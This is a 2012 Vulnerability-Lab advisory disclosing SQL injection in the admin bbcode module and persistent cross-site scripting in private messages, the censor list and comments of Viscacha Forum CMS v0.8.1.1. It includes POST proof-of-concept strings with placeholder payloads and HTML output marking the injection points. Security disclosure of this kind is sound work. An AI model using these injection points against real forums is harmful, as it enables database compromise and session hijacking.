293 lines
No EOL
9.5 KiB
Text
293 lines
No EOL
9.5 KiB
Text
Title:
|
||
======
|
||
Viscacha Forum CMS v0.8.1.1 - Multiple Web Vulnerabilities
|
||
|
||
|
||
Date:
|
||
=====
|
||
2012-05-08
|
||
|
||
|
||
References:
|
||
===========
|
||
http://www.vulnerability-lab.com/get_content.php?id=525
|
||
|
||
|
||
VL-ID:
|
||
=====
|
||
525
|
||
|
||
|
||
Common Vulnerability Scoring System:
|
||
====================================
|
||
7.3
|
||
|
||
|
||
Introduction:
|
||
=============
|
||
Viscacha is a free bulletin board system with an integrated CMS. The intention of the software engineers
|
||
is to combine the current standards with new and user friendly features. The system supports packages for
|
||
easily extending the core system. Viscacha is a free bulletin board system with an integrated content
|
||
management system. The intention of the software engineers is to combine the current standards with new
|
||
and user friendly features. The system supports packages (plugins and components) for easily extending the
|
||
core system. Viscacha uses an database abstraction layer to support as many databases as possible. With
|
||
this software you can easily set up a complete (personal) homepage. The CMS extends the bulletin board
|
||
system to have a homepage which is connected to the community.
|
||
|
||
(Copy of the vendor Homepage: http://www.viscacha.org )
|
||
|
||
|
||
Abstract:
|
||
=========
|
||
The Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in Viscacha Bulletin Board CMS v0.8.1.1.
|
||
|
||
|
||
Report-Timeline:
|
||
================
|
||
2012-05-08: Public or Non-Public Disclosure
|
||
|
||
|
||
Status:
|
||
========
|
||
Published
|
||
|
||
|
||
Exploitation-Technique:
|
||
=======================
|
||
Remote
|
||
|
||
|
||
Severity:
|
||
=========
|
||
High
|
||
|
||
|
||
Details:
|
||
========
|
||
1.1
|
||
A remote SQL Injection vulnerability (POST) is detected in Viscacha Bulletin Board CMS v0.8.1.1.
|
||
The vulnerability allows an attacker (remote) or local low privileged user account to inject/execute own sql commands
|
||
on the affected application dbms. Successful exploitation of the vulnerability results in dbms & application compromise.
|
||
The vulnerability is located on the bbcode module of the forum application.
|
||
|
||
Vulnerable Module(s):
|
||
[+] BBCode - Tags & BB-Code | Change or Example
|
||
|
||
|
||
--- SQL Exception Logs ---
|
||
Fatal error: DB ERROR 1064: You have an error in your SQL syntax; check the manual that corresponds to your
|
||
MySQL server version for the right syntax to use near ` at line 1
|
||
File: /home/opencms/public_html/demo/viscacha/admin/bbcodes.php on line 1164
|
||
Query: SELECT * FROM v_bbcode WHERE bbcodetag = `sd`AND twoparams = `0`AND in
|
||
/home/server/public_html/cms/viscacha/classes/database/mysql.inc.php on line 151
|
||
|
||
|
||
Fatal error: DB ERROR 1064: You have an error in your SQL syntax; check the manual that corresponds to your
|
||
MySQL server version for the right syntax to use near ` at line 1
|
||
File: /home/server/public_html/cms/viscacha/admin/bbcodes.php on line 1164
|
||
Query: SELECT * FROM v_bbcode WHERE bbcodetag = `sd` AND twoparams = `0` AND in
|
||
/home/opencms/public_html/demo/viscacha/classes/database/mysql.inc.php on line 151
|
||
|
||
Fatal error: DB ERROR 1064: You have an error in your SQL syntax; check the manual that corresponds to your
|
||
MySQL server version for the right syntax to use near` at line 1
|
||
File: /home/server/public_html/cms/viscacha/admin/bbcodes.php on line 1164
|
||
Query: SELECT * FROM v_bbcode WHERE bbcodetag = `-1`AND twoparams = `0` AND in
|
||
/home/server/public_html/cms/viscacha/classes/database/mysql.inc.php on line 151
|
||
|
||
|
||
Picture(s):
|
||
../1.png
|
||
../2.png
|
||
|
||
|
||
1.2
|
||
Multiple persistent input validation vulnerabilities is detected in Viscacha Bulletin Board CMS v0.8.1.1.
|
||
The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent).
|
||
Successful exploitation of the vulnerability can lead to session hijacking (manager/admin/user) or stable (persistent)
|
||
context manipulation. Exploitation requires low user inter action.
|
||
|
||
|
||
Vulnerable Module(s):
|
||
[+] Private Messages System - Text Input Field
|
||
[+] Zensur - Bad Word Input Field
|
||
[+] Kommentar - Portal Input Field Text & Topic
|
||
|
||
Picture(s):
|
||
../3.png
|
||
../4.png
|
||
|
||
|
||
Proof of Concept:
|
||
=================
|
||
1.1
|
||
The sql injection vulnerability can be exploited by remote attackers without user inter action.
|
||
For demonstration or reproduce ...
|
||
|
||
PoC: POSTDATA
|
||
title=say&bbcodetag=-1%27&bbcodetag_old=s&bbcodereplacement=-1%27&bbcodeexample=-1%27[SQL-INJECTION]&bbcodeexplanation=-1%27&twoparams=0&buttonimage=-1%27
|
||
... or
|
||
title=say&bbcodetag=-1%27&bbcodetag_old=s&bbcodereplacement=-1%27&bbcodeexample=-1%27&bbcodeexplanation=-1%27&twoparams=0&buttonimage=[SQL-INJECTION]
|
||
... &
|
||
title=say&bbcodetag=-1%27[SQL-INJECTION]&bbcodetag_old=s&bbcodereplacement=-1%27&bbcodeexample=-1%27&bbcodeexplanation=-1%27&twoparams=0&buttonimage=-1%27
|
||
|
||
|
||
1.2
|
||
The persistent input validation vulnerabilities can be exploited by remote attackers with low required user inter action.
|
||
For demonstration or reproduce ...
|
||
|
||
|
||
Review: Zensur - Bad Word & Listing
|
||
|
||
<td class="mbox" width="45%">"><[EXECUTION OF SCRIPT CODE HERE!]' <<="" td="">
|
||
</tr>
|
||
<tr>
|
||
|
||
<td class="ubox" width="100%" colspan=3 align="center"><input type="submit" name="Submit"
|
||
value="Löschen"></td>
|
||
</tr>
|
||
</table>
|
||
</form>
|
||
<br>
|
||
<form name="form"
|
||
method="post" action="admin.php?action=bbcodes&job=add&tp=censor">
|
||
<table class="border">
|
||
|
||
<tr>
|
||
<td class="obox" colspan=2>Wort hinzufügen</b></td>
|
||
</tr>
|
||
<tr>
|
||
|
||
<td class="mbox" width="30%">Wort:<br /><span class="stext">Maximal 200 Zeichen</span></td>
|
||
|
||
<td class="mbox" width="70%"><input type="text" name="temp1" size="70"></td>
|
||
|
||
</tr>
|
||
<tr>
|
||
<td class="mbox" width="30%">Zensiertes Wort:<br /><span class="stext">
|
||
Maximal 255 Zeichen</span></td>
|
||
<td class="mbox" width="70%"><input type="text" name="temp2"
|
||
size="70"></td>
|
||
</tr>
|
||
<tr>
|
||
<td class="ubox" colspan="2" align="center"><
|
||
input type="submit" name="Submit" value="Hinzufügen"></td>
|
||
</tr>
|
||
</table>
|
||
</form>
|
||
|
||
<br style="line-height: 8px;" />
|
||
<div class="stext center">[Generiert in 0.00224 Sekunden]
|
||
[Datenbankabfragen: 2]</div>
|
||
<div id="copyright">
|
||
|
||
Powered by <strong><a href="http://www.viscacha.org" target="_blank">Viscacha 0.8.1.1</a></strong>
|
||
<br />Copyright © 2004-2009, The Viscacha Project
|
||
|
||
<img src="cron.php" width="0" height="0" alt="" />
|
||
</div>
|
||
</body>
|
||
</html>
|
||
</iframe></td>
|
||
|
||
URL: http://127.0.0.1:8080/viscacha/admin.php?action=bbcodes&job=censor
|
||
|
||
|
||
Review: PN Message Preview
|
||
|
||
|
||
<br class="newinput"><hr class="formsep">
|
||
<label for="topic">Titel:</label>
|
||
<input tabindex="2000" id="topic" class="label" name="topic" size="30" value=""
|
||
type="text"><[INJECT SCRIPT CODE HERE!] <"="">
|
||
<br class="newinput"
|
||
/><hr class="formsep" />
|
||
<
|
||
|
||
URL: http://127.0.0.1:8080/viscacha/pm.php
|
||
|
||
... or
|
||
|
||
Review: PN Message Preview - Arrived Message - Inbox
|
||
|
||
<div class="bbody">
|
||
<span class="stext">Betreff:
|
||
<strong>"><[EXECUTION OF SCRIPT CODE HERE!] <</strong>
|
||
</span>
|
||
<hr>
|
||
"><[EXECUTION OF SCRIPT CODE HERE!] '
|
||
<<br="" class="iefix_left">
|
||
</div>
|
||
</div>
|
||
|
||
<noscript><br />
|
||
|
||
<div class="popup_noscript">
|
||
|
||
<a name="generallinks"></a><strong>Verschiedene Links</strong>
|
||
|
||
<ul>
|
||
|
||
|
||
URL: http://127.0.0.1:8080/viscacha/pm.php
|
||
|
||
|
||
|
||
Review: Kommentare - Comments Input/Output
|
||
|
||
<input id="membersuggest_val" tabindex="1" onkeyup="ajax_searchmember(this.value, key(event))"
|
||
onblur="ajax_searchmember(this.value)" name="name" size="40" value=""><
|
||
[EXECUTION OF SCRIPT CODE HERE!] <" type="text">
|
||
<br><span class="stext" id="membersuggest">
|
||
</span>
|
||
</div>
|
||
<br class="newinput"><hr class="formsep">
|
||
<label for="topic">Titel:</label>
|
||
|
||
... or
|
||
|
||
<input tabindex="2000" id="topic" class="label" name="topic" size="30" value="" type="text">
|
||
<iframe src="a"[INJECT OF SCRIPT CODE HERE!] ' <"="">
|
||
<br class="newinput" /><hr class="formsep" />
|
||
<label
|
||
|
||
|
||
Risk:
|
||
=====
|
||
1.1
|
||
The security risk of the sql injection vulnerability is estimated as high(-).
|
||
|
||
1.2
|
||
The security risk of the persistent input validation vulnerabilities are estimated as medium(+).
|
||
|
||
|
||
Credits:
|
||
========
|
||
Vulnerability Laboratory [Research Team]
|
||
|
||
|
||
Disclaimer:
|
||
===========
|
||
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
|
||
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
|
||
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
|
||
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
|
||
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
|
||
may not apply.
|
||
|
||
Domains: www.vulnerability-lab.com - www.vuln-lab.com
|
||
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
|
||
Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - irc.vulnerability-lab.com
|
||
|
||
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
|
||
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of
|
||
other media, are reserved by Vulnerability-Lab Research Team or its suppliers.
|
||
|
||
Copyright © 2012 Vulnerability-Lab
|
||
|
||
|
||
|
||
|
||
--
|
||
VULNERABILITY RESEARCH LABORATORY TEAM
|
||
Website: www.vulnerability-lab.com
|
||
Mail: research@vulnerability-lab.com |